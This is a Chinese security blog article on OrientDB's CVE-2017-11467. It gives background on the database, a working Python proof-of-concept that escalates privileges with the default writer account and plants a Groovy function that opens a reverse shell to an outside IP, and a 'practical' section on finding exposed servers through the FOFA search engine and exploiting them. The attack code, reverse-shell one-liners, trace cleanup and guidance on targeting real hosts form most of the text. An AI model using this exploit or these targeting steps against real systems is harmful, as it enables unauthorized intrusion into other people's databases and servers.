OrientDB数据库是一个支持分布式的NoSQL数据库,主要针对文档以及图形等进行检索,通过研究发现其默认配置admin、reader和writer三个角色,在处理where”或“fetchplan”或“order by”函数时,由于在OrientDB中有一个执行groovy函数,groovy包装类没有沙箱,暴露了系统函数,因此我们可以运行我们想要的任何命令。该漏洞在国外被命名为CVE-2017-11467,本文主要对该漏洞的分析方法和实战进行探讨

0x01.OrientDB简介

OrientDB是分布式兼具文档数据库的灵活性和图形数据库管理链接能力的可深层次扩展的文档-图形数据库管理系统,也是可升级,高性能的操作NoSQL数据库。可选无模式、全模式或混合模式下。支持许多高级特性,诸如ACID事务、快速索引,原生和SQL查询功能。可以JSON格式导入、导出文档。若不执行昂贵的JOIN操作的话,如同关系数据库可在几毫秒内可检索数以百G的链接文档图,其最新版本为OrientDB v2.2.26。
官方网站:http://orientdb.com和https://github.com/Orientechnologies。

图1  Orientdb

0x02. OrientDB基础

2.1  OrientDB的一些基本概念

Classes : 类比关系型数据库系统中的Table与传统文档数据库的collections。这个概念来自于OOP(Object-oriented programming)的理念。class用于定义数据结构的模型。

Record:record是OrientDB中最小的加载和存储的单位。record有四种类型:Document、RecordBytes(BLOB)、Vertex、Edge。

Document:是OrientDB中最灵活的record。Document支持schema-less,schemal-full,schema-mixed,即可以在定义数据结构的时候指定属性及约定条件,也可以不指定。它通过create class语法来定义一个数据结构。

Vertex:在OrientDB的graph模型下,每个结点叫作Vertex,每个Vertex也是一个Document。

Edge:在OrientDB的graph模型下,连接两个Vertex的边叫作Edge。Edge是有向性的而且仅能连接两个Vertex。

Clusters : 用于存储record。每个数据库最多有32767个cluster。每个class都必须至少有一个对应的cluster。默认情况下OrientDB会自动为每个class创建与当前cpu核数相同的cluster,其中有一个默认的cluster。

Cluster Selection:当新增加一条reocrd时OrientDB会根据cluster section为这条记录选择一个cluster。cluster section有四条类型:detault、round-robin、balanced、local。

Record ID :每个record都有一个record id。 record id的格式如下:

# <cluster-id>:<cluster-position>

Relationships: OrientDB中不使用join,它通过在每个reocrd中定义一个关系类型的属性来维护关系。这个关系属性存储的实际是record id,就像定义一个指针在内存中将两个record联系起来。

Inheritance & Polymorphic: OrientDB支持面向对象的继承和多态特性。


2.2  OrientDB的特性

OrientDB是用Java语言实现的,运行在JVM之上。

Multi-Model:OrientDB支持多种模型:Key/Value, Object, Document, and Graph。

Multi-Master Replication: OrientDB集群部署时每个点都是Master,每个Master上都有完整的数据。一旦一个Master上的数据发生变更,会将发生变更的数据同步通知其它Master。

Extended SQL : OrientDB支持大部分标准的SQL,同时在标准的SQL之上扩展了部分功能以方便图的操作。

Easy Integration :使用teleporter可以很容易地将数据从RDBMS迁移到OrientDB上。

OOP:OrientDB定义数据结构的Class符合OOP(Object-oriented programming)的理念,支持继承和多态的特性。


2.3  OrientDB的SQL

在写图数据库的SQL时,第一步是要确认起始点(这个也是图数据库比较耗时的地方),一旦起始点确认后,我们便可以近乎物理连接的方式查询这个起始点相关联的数据。

基本的SQL:OrientDB支持大部分标准的SQL查询。

例如:SELECT FROM Person WHERE name LIKE 'Luk%'

Traverse:traverse语法可以遍历获取一个record联结的reocrd。它比select使用起来更简单和快速。

例如:RAVERSE out("Friend") FROM #10:1234 WHILE $depth <= 3

Match:match是一种表述力很强的查询语法结构,类比Neo4j的Cypher语法结构。它以一种说明式的方式来查询。

例如:
MATCH {class: Person, as: person, where: (name = 'John' AND surname = 'Doe')}.both('Friend').both('Friend')
{as: friendOfFriend} RETURN person, friendOfFriend

0x03. OrientDB漏洞 CVE-2017-11467分析

3.1搭建测试环境

(1)docker安装,这个安装的是最新版本,有可能修补了漏洞

docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:latest

(2)linux下安装orientdb

wget -O orientdb-community-2.2.22.tar.gz http://orientdb.com/download.php?file=orientdb-community-2.2.22.tar.gz&os=linux 
tar -zxf orientdb-community-2.2.22.tar.gz
mv orientdb-community-2.2.22 /opt/orientdb 
/opt/orientdb/bin/server.sh 
useradd -r orientdb -s /sbin/nologin
chown -R orientdb:orientdb /opt/orientdb 
chmod 640 /opt/orientdb/config/orientdb-server-config.xml
cp /opt/orientdb/bin/orientdb.service /etc/systemd/system 
vi /etc/systemd/system/orientdb.service 
修改User=ORIENTDB_USER Group=ORIENTDB_GROUP ExecStart=$ORIENTDB_HOME/bin/server.sh为:
User=orientdb Group=orientdb ExecStart=/opt/orientdb/bin/server.sh
systemctl daemon-reload
systemctl enable orientdb
systemctl status orientdb

注意:

(1)如果是虚拟机,则需要修改内存大小,默认64位是512G,修改为1G!需要修改/opt/orientdb/bin下的所有bat文件和sh文件。否则会报“Invalid maximum direct memory size: -XX:MaxDirectMemorySize=512g”错误。

(2)设置路径和用户,在对应的sh文件中设置

ORIENTDB_DIR="/opt/orientdb/"
ORIENTDB_USER="orientdb"


3.2漏洞分析

1.用户权限
OrientDB使用RBAC模型进行认证方案。默认情况下,OrientDB有3个角色:管理员(admin),作者(writer)和读者(reader)。这些用户名与角色相同。对于在服务器上创建的每个数据库,默认情况下分配这3个用户。

用户的权限是:
admin:访问数据库上的所有功能,没有任何限制
reader:只读用户。读者可以查询数据库中的任何记录,但不能修改或删除它们。它不能访问内部信息,例如用户和角色本身。
writer:与“读者”相同,但也可以创建,更新和删除记录

2.越权导致命令执行
ORole结构处理用户及其角色,只能由管理员访问。OrientDB需要oRole读取权限来允许用户显示用户的权限以及与oRole权限相关联的其他查询。但在版本2.2.x中,每当上述oRole查询包含where、fetchplan和ORDER BY语句,则不需要此权限的要求和信息,而返回给未经授权的用户从而导致命令执行

例:

select * from <em>oRole</em> order by name;

当每个数据库创建时会创建writer用户,这样,即使db管理员更改管理员用户密码,攻击者仍然可以使用writer用户获取代码执行。由于我们启用了where、fetchplan和ORDER BY函数,在OrientDB中有一个执行groovy函数,groovy包装类没有沙箱,暴露了系统函数,因此我们可以运行我们想要的任何命令。

示例Groovy函数:

Command.md
def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
>/tmp/f'
 File file = new File("hello.sh")
 file.delete()
 file << ("#!/bin/bash\n")
 file << (command)
 def proc = "bash hello.sh".execute()

3.概念证明

(1)监听8081端口
在8081端口运行Netcat:nc -lv 8081
运行以下命令:

python PoC.py ip [port]

(2)poc.py

import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
def enum_databases(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
        return database
    return False
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
    if req.status_code == 200:
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
    return False
def run_queries(permission,db,content=""):
    databases = enum_databases(target)
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
    for priv in priv_enable:

        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False

    print "[+] %s"%(content)
    return True
def priv_escalation(target,port="2480"):
    print "[+] Checking OrientDB Database version is greater than 2.2"
    if check_version(target,port):
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
        if priv1 and priv2 and priv3:
            return True
    return False
def exploit(target,port="2480"):
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
    func_name = random_function_name()
    print func_name
    databases = enum_databases(target)
    reverse_ip = raw_input('Enter the ip to connect back: ')
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
    if req.status_code == 201:
        #print req.status_code
        #print req.json()
        func_id = req.json()['@rid'].strip("#")
        #print func_id
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
        #print "[+] Deleting traces.."
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
        #print req.status_code
        #print req.text
def main():
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"

main()

0x04.历史漏洞

0x05.实战CVE-2017-11467漏洞利用

1.安装poc.py所需的组件

直接执行python CVE-2017-11467.py 127.0.0.1后,出现错误,如图2所示,则表示需要requests组件的支持,可以到https://pypi.python.org/pypi/requests/#downloads下载requests-2.18.4.tar.gz,可参考下载地址:
https://pypi.python.org/packages/b0/e1/eab4fc3752e3d240468a8c0b284607899d2fbfb236a56b7377a329aa8d09/requests-2.18.4.tar.gz
解压requests-2.18.4.tar.gz文件后,使用python setup.py install进行安装。

图2需要安装requests组件

2.寻找OrientDB
zoomeye目前在升级,因此用https://fofa.sol来进行搜索效果比较佳,关键词“orientdb  && port=2480”,对于2.2.X版本基本是通杀。获取结果后,通过单击链接来查看可否正常访问。能够正常访问,登录密码一般都是admin/admin。

3.执行命令

(1)检测是否存在漏洞

例如python CVE-2017-11467.py 127.0.0.1后其结果:
C:\Python27>python CVE-2017-11467.py 127.0.0.1
[+] Checking OrientDB Database version is greater than 2.2
[+] Privilege Escalation done checking enabling operations on database.function
[+] Enabled functional operations on database.function
[+] Enabling access to system clusters
8bd94
Enter the ip to connect back: 59.***. ***.*** //输入反弹的IP地址,注意前后无空格
[+] Exploitation successful, get ready for your shell.Executing 8bd94
[+] Exploitation failed at last step, try running the script again.
400
{
  "errors": [
    {
      "code": 400,
      "reason": "Bad request",
      "content": "Error on evaluation of the script library. Error: org.codehaus
.groovy.control.MultipleCompilationErrorsException: startup failed:\u000aScript1
.groovy: 1: unexpected token: def @ line 1, column 1.\u000a   def 8bd94() {\u000
a   ^\u000a\u000a1 error\u000a\u000aScript library was:\u000adef 8bd94() {\u000a
def command = 'bash -i >& /dev/tcp/59.110.62.194/8081 0>&1';File file = new File
(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def
proc = \"bash hello.sh\".execute();\u000a}\u000a\u000a\u000d\u000a\u0009DB name=
\"hierarchies\""
    }
  ]
}
[+] Cleaning Up..database.class.ouser
[+] Cleaning Up..database.function
[+] Cleaning Up..database.systemclusters

(2)设置反弹的IP

如果检测到目标对象存在漏洞,则提示输入一个反弹的IP地址,该IP地址事先需要进行8081端口监听,如果命令执行成功则获取反弹的shell,执行效果如图3和图4所示。

图3命令执行漏洞检测

图4获取反弹的shell

注意:

(1)由于命令是针对linux,因此反弹IP前不能有空格,否则执行不成功。
(2)反弹端口可以更改poc中的8081
(3)OrientDB数据库密码是加密的。例如获取某数据库配置文件中的数据库用户和密码:

<user resources="*" password="{PBKDF2WithHmacSHA256}3D2969BF5BF1E819C6358CEF534327A32D205928D77B6D47:56B6EE75711C3600BCB23011685F253EE3F645E1BFA70AB8:65536" name="root"/>

<user resources="connect,server.listDatabases,server.dblist" password="{PBKDF2WithHmacSHA256}AD0DA873F5BEB2343257A07B51326BBAECF8A894F960328E:B183077FF32DD1F40F3031EF048F5D8169E7EB6FB3C09004:65536" name="guest"/>

0x06.参考文章

https://cxsecurity.com/cveproduct/15143/28462/orientdb
http://orientdb.com/getting-started/

https://nvd.nist.gov/vuln/detail/CVE-2017-11467
http://orientdb.com/docs/last/
https://blogs.securiteam.com/index.php/archives/3318

源链接

Hacking more

...